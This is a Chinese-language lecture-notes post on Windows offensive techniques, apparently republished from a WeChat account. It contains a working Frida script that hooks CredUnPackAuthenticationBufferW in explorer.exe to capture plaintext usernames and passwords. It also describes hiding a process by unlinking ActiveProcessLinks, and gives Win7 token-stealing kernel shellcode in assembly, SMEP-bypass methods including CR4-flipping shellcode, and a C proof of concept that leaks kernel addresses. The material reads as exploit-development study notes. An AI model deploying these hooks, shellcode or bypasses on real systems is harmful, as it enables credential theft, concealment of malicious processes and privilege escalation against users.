Frida
https://frida.re/
使用 Frida 生成新进程
frida c:windowssystem32notepad.exe
附加到现有进程
frida -p 10964
hook.js:以下代码挂钩WriteFile
并 hexdump 传递给它的第一个参数的内容
var writeFile = Module.getExportByName(null, "WriteFile");
Interceptor.attach(writeFile, {
onEnter: function(args)
{
console.log("Buffer dump:n" + hexdump(args[1]));
// console.log("nBuffer via Cstring:n" + Memory.readCString(args[1]));
// console.log("nBuffer via utf8String:n" + Memory.readUtf8String(args[1]));
}
});
通过 Frida 生成一个新的notepad.exe
并提供上面的hook.js
代码,这样我们就可以钩住WriteFile
API 并检查正在写入磁盘的缓冲区的内容:
frida C:windowssystem32notepad.exe -l c:hook.js
Frida-Trace
如果我们想查看某些特定进程是否调用了某些 API 调用,例如WriteFile
,我们可以:
frida-trace -i "WriteFile" C:windowssystem32notepad.exe
拦截凭证
当用户希望以另一个用户的身份执行程序时,我们是否可以从凭证提示中截获明文凭证?答案当然是肯定的
让我们使用frida-trace来查看explorer.exe在弹出窗口时是否调用过任何名为*Cred*
的函数
frida-trace -i "*Cred*" -p (ps explorer).id
当提示符窗口第一次被调用时,CredUIPromptForWindowsCredentialsW会被调用
随便输入一些凭据会显示以下Cred*
API调用
其中CredUnPackAuthenticationBufferW是关键,根据msdn的描述:
https://learn.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credunpackauthenticationbufferw
CredUnPackAuthenticationBuffer函数将调用 CredUIPromptForWindowsCredentials 函数返回的身份验证缓冲区转换为字符串用户名和密码。
so,我们现在可以在frida js中hookCredUnPackAuthenticationBufferW
var username;
var passwords;
var CredUnPackAuthenticationBufferW = Module.findExportByName("Credui.dll", "CredUnPackAuthenticationBufferW");
Interceptor.attach(CredUnPackAuthenticationBufferW, {
onEnter: function (args)
{
// Credentials here are still encrypted
/*
CREDUIAPI BOOL CredUnPackAuthenticationBufferW(
0 DWORD dwFlags,
1 PVOID pAuthBuffer,
2 DWORD cbAuthBuffer,
3 LPWSTR pszUserName,
4 DWORD *pcchMaxUserName,
5 LPWSTR pszDomainName,
6 DWORD *pcchMaxDomainName,
7 LPWSTR pszPassword,
8 DWORD *pcchMaxPassword
);
*/
username = args[3];
passwords = args[7];
},
onLeave: function (result)
{
// Credentials are now decrypted
var user = username.readUtf16String()
var pass = passwords.readUtf16String()
if (user && pass)
{
console.log("n+ Intercepted Credentialsn" + user + ":" + pass)
}
}
});
frida -p (ps explorer).id -l C:credentials.js
ActiveProcessLinks断链隐藏进程
_eprocess
_EPROCESS
是一个内核内存结构,它描述了我们所知道的系统进程(或者换句话说 - 系统上运行的每个进程_EPROCESS
在内核中的某个位置都有其对应的对象)。它包含详细信息,例如进程映像名称、正在运行的桌面会话、它拥有的其他内核对象的打开句柄数量、它拥有的访问令牌等等。
在这个结构里有一个关键成员——ActiveProcessLinks。它是一个指向LIST_ENTRY结构的指针
_LIST_ENTRY
在CS中,有一种数据结构称为双链表。它包含彼此链接的记录(也称为节点),这意味着列表中的每个节点包含两个指针,分别引用该链表的上一个节点和下一个节点。
LIST_ENTRY是Windows内核中的双链表等效数据结构,定义为:
dt _list_entry
Blink指针指向前一个元素,Flink指针指向下一个元素
所有Windows进程都有对应的EPROCESS内核结构形式的内核对象。所有这些EPROCESS对象都存储在一个双链表中
实际上,这意味着当调用cmd /c tasklist
或者get-process
来获取系统上所有正在运行的进程的列表时,Windows 将遍历 EPROCESS 节点的双链表,利用这些LIST_ENTRY
结构来检索有关所有当前活动进程的信息。
接下来懂了吧,非常easy,我们把某个进程所代表的节点从这个链表里T出去不就行了吗?
EPROCESS 1中的ActiveProcessLinks.Flink将指向EPROCESS 3的ActiveProcessLinks.Flink
EPROCESS 3中的ActiveProcessLinks.Blink将指向EPROCESS 1的ActiveProcessLinks.Flink
令牌滥用提升权限
涉及两个技巧:
-
令牌窃取或替换:将低权限令牌替换为高权限令牌;
-
令牌权限调整:向现有令牌添加并启用更多权限。
提权shellcode
把system令牌和当前进程的令牌交换
.386
.model flat, c ; cdecl / stdcall
ASSUME FS:NOTHING
.code
PUBLIC StealToken
StealToken proc
pushad ; 保存所有寄存器状态避免BSOD(蓝屏)
; Start of Token Stealing Stub
xor eax, eax ; eax清零
mov eax, DWORD PTR fs:[eax + 124h] ; 获取当前线程
; _KTHREAD位置在FS : [0x124]
mov eax, [eax + 50h] ; Get nt!_KTHREAD.ApcState.Process 获取当前进程(kprocess)
mov ecx, eax ; Copy current process _EPROCESS structure
mov edx, 04h ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + 0B8h] ; 通过pid找到system
sub eax, 0B8h
cmp[eax + 0B4h], edx ;
jne SearchSystemPID
mov edx, [eax + 0F8h] ;交换令牌
mov[ecx + 0F8h], edx ; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
StealToken ENDP
end
https://www.anquanke.com/post/id/219087
https://hshrzd.wordpress.com/2017/06/22/starting-with-windows-kernel-exploitation-part-3-stealing-the-access-token/
SMEP和SMAP
http://theinvisiblethings.blogspot.com/2011/06/from-slides-to-silicon-in-3-years.html
https://blog.csdn.net/qq_41988448/article/details/123176096
驻留在用户内存中的 shellcode 导致它的地址是众所周知的,这省去了在有点不透明的内核内存区域中计算/推导/预测其地址的需要。这就是 SMEP 的用武之地——如果不能跳转到用户内存,就不能利用这种场景。
如何绕过?
ROP
关于如何在不需要引用用户模式内存页的情况下执行环0有效负载,第一个也是最直观的想法是使用一种称为ROP的常见用户模式技术。该技术的一般概念依赖于构造最终的有效负载,使用称为gadget的微小程序集代码片段,并在最后加上执行传输指令(如ret或pop+jmp)。该方法(作为ret2libc的实际扩展)已被广泛用作绕过硬件强制DEP保护的重要措施,防止攻击者执行标记为非可执行的内存页面。
在这种情况下,我们希望利用驻留在内核模式区域内的可执行页面中的现有代码片段。代码不一定要在核心NT内核映像(ntoskrnl.exe或类似文件)中找到,但可以在高内存区域中找到任何PE可执行文件(或更普遍的可执行页面)。可能遇到的唯一潜在问题是如何从ring-3应用程序中实际获取内核模式gadget的虚拟地址。正如在许多文章中介绍的那样,上述问题并不是一个实际问题,因为任何应用程序(在系统中没有特定的特权)都能够检索任何内核模块的基址。这可以通过使用没有文档记录的NtQuerySystemInformation NT API和SystemModuleInformation信息类,或者使用Process Status API接口中文档记录良好的EnumDeviceDrivers函数来实现。
现在,为了找到合适的gadget。例如,win32k。Sys,一个必须完成以下步骤:
1.将 win32k.sys 加载到本地的用户模式地址空间(例如,使用带有 DONT_RESOLVE_DLL_REFERENCES 的 LoadLibraryEx)
2.在加载的模块中搜索合适的代码片段(通过NtQuerySystemInformation )
3.获取模块的ring-0基地址
4.Kernel Gadget Address = User Gadget Address – Local win32k.sys base + Kernel win32k.sys base
该技术被认为在每个Microsoft Windows版本和版本(不管是32位还是64位)上都是可行的。但是,应该注意的是,只有在内核模式堆栈内容由攻击者控制的情况下,才可以使用面向返回的编程(Return-Oriented Programming) ,意味这个驱动能被你读写
修改 nt!MmUserProbeAddress
dq nt!MmUserProbeAddress
Ring0层对于Ring3层地址的校验方法,判断是否越界。用于验证用户指定的地址是否驻留在用户模式内存区域内(即基本的ProbeForRead和ProbeForWrite例程使用该值。如果可以将该值设置为比通常的用户内核地址边界更大的值,攻击者将获得从任意内核内存读取和写入的能力,从而使他能够直接将负载存储在环0页中,然后通过设备驱动程序漏洞执行它,而不必在CPL=0下执行用户模式页。
使该技术更加可行的原因在于 nt!MmUserProbeAddress 是一个导出符号,因此任何用户模式应用程序都可以轻松获取其虚拟地址
_KAPC
每次调用 NtQueueApcThreadEx时,都会在内核模式下分配一个新的 KAPC 对象来存储有关 APC 对象的数据。夸张的是这个结构是分配在非分页内核内存区域
dt _kapc
nt!_KAPC
+0x000 Type : UChar
+0x001 SpareByte0 : UChar
+0x002 Size : UChar
+0x003 SpareByte1 : UChar
+0x004 SpareLong0 : Uint4B
+0x008 Thread : Ptr64 _KTHREAD
+0x010 ApcListEntry : _LIST_ENTRY
+0x020 KernelRoutine : Ptr64 void
+0x028 RundownRoutine : Ptr64 void
+0x030 NormalRoutine : Ptr64 void
+0x020 Reserved : [3] Ptr64 Void
+0x038 NormalContext : Ptr64 Void
+0x040 SystemArgument1 : Ptr64 Void
+0x048 SystemArgument2 : Ptr64 Void
+0x050 ApcStateIndex : Char
+0x051 ApcMode : Char
+0x052 Inserted : UChar
我们可以使用这个对象来存储所有的payload,但一般情况下,这个内核对象里面只存储翻转 CR4 寄存器中的适当位来禁用 SMEP 处理器功能通常就足够了。然后从用户模式页面中执行剩余的 shellcode
mov eax, cr4
btr eax, 20
mov cr4, eax
jmp 0x0baaaaad
-
将有效负载存储在用户模式内存中(例如,在 0x0baaaaad 地址),
-
使用适当的参数调用 NtQueueApcThreadEx,保存内核模式的有效负载字节,
-
获取对象结构的地址,通过调用NtQuerySytemInformation(SystemHandleInformation),
-
触发漏洞,跳转到KAPC结构的NormalRoutine(第一个受控)字段。
NTQuerySystemInformation
NTQuerySystemInformation函数在NTDLL上实现。并且作为内核 API,它总是在 Windows 版本期间不断更新,不会有任何通知。如前所述,这是一个私有函数,因此微软没有正式记录.
该函数主要从环境中检索特定的信息,其结构非常简单:
NtQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
在第一个参数SYSTEM_INFORMATION_CLASS (ULONG)中,我们将设置我们想要检索的信息。这些类被命名为SYSTEM_INFORMATION_CLASS,并在winternl.h中定义。
使用这些类和函数可以检索大量数据。例如关于系统、进程、对象和其他方面的信息。
如果我们需要发现EPROCESS或驱动程序基地址,那么对于每个EPROCESS或驱动程序基地址,我们都可以实现一个特定的类。对于每个类,我们都需要定义它的结构:
SystemModuleInformation (0x0b)
typedef struct SYSTEM_MODULE {
PVOID Reserved1;
PVOID Reserved2;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT Index;
USHORT NameLength;
USHORT LoadCount;
USHORT PathLength;
CHAR ImageName[256];
}
typedef struct SYSTEM_MODULE_INFORMATION {
ULONG ModulesCount;
SYSTEM_MODULE Modules[0];
}
通过SYSTEM_MODULE_INFORMATION->ModulesCount[i].ImageBase,将找到任何内核模块的基址。例如,可以使用内核基址来计算HalDispatchTable。该表包含在使用过程中会被重写的函数指针(修改这些表中的内核API函数地址为事先准备好的ShellCode存放的地址,然后在本进程中调用这个内核API函数)
SystemHandleInformation (0x10)
typedef struct SYSTEM_HANDLE {
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
}
typedef struct SYSTEM_HANDLE_INFORMATION
{
ULONG HandleCount;
SYSTEM_HANDLE Handles[1];
}
在SYSTEM_HANDLE_INFORMATION->Handles[i].Object中,可以从特定句柄中找到对象在内核空间中的地址,该句柄可以通过例如进程 ID 过滤。
这些只是可以在漏洞利用中使用的信息类的两个示例,除此之外还有更多有用的类,例如 SystemExtendedHandledInformation、SystemLockInformation、SystemExtendedProcessInformation 等。
// PoC: NTQuerySystemInformation() using SystemHandleInformation information class
#include <windows.h>
#include <wchar.h>
#include <stdlib.h>
#include <stdio.h>
#define NT_SUCCESS(x) ((x) >= 0)
PVOID ProcAddress;
typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
typedef struct SYSTEM_HANDLE
{
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE_INFORMATION_, * PSYSTEM_HANDLE_INFORMATION_;
typedef struct SYSTEM_HANDLE_INFORMATION
{
ULONG HandleCount;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
PVOID FindBaseAddress(ULONG pid) {
HINSTANCE hNtDLL = LoadLibraryA("ntdll.dll");
PSYSTEM_HANDLE_INFORMATION buffer;
ULONG bufferSize = 0xffffff;
buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(bufferSize);
NTSTATUS status;
_NtQuerySystemInformation NtQuerySystemInformation = _NtQuerySystemInformation(GetProcAddress(hNtDLL, "NtQuerySystemInformation"));
status = NtQuerySystemInformation(0x10, buffer, bufferSize, NULL); // 0x10 = SystemHandleInformation
if (!NT_SUCCESS(status)) {
printf("NTQueryInformation Failed!n");
exit(-1);
}
for (ULONG i = 0; i <= buffer->HandleCount; i++) {
if ((buffer->Handles[i].ProcessId == pid)) {
ProcAddress = buffer->Handles[i].Object;
printf("Address: 0x%p, Object Type: %d, Handle: %xn", buffer->Handles[i].Object, buffer->Handles[i].ObjectTypeNumber, buffer->Handles[i].Handle);
}
}
free(buffer);
}
void main()
{
printf("NTQuerySystemInformation() PoC");
FindBaseAddress(GetCurrentProcessId());
getchar();
}
虽然 SMEP 确实引入了一些额外的安全级别,但它仍然很容易绕过。SMEP唯一给猫鼠游戏带来的附加价值是提高了漏洞利用开发人员的复杂性,而使用返回用户内存技术的旧漏洞利用将不再有效。
原文始发于微信公众号(老鑫安全):讲义,水文章。。。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论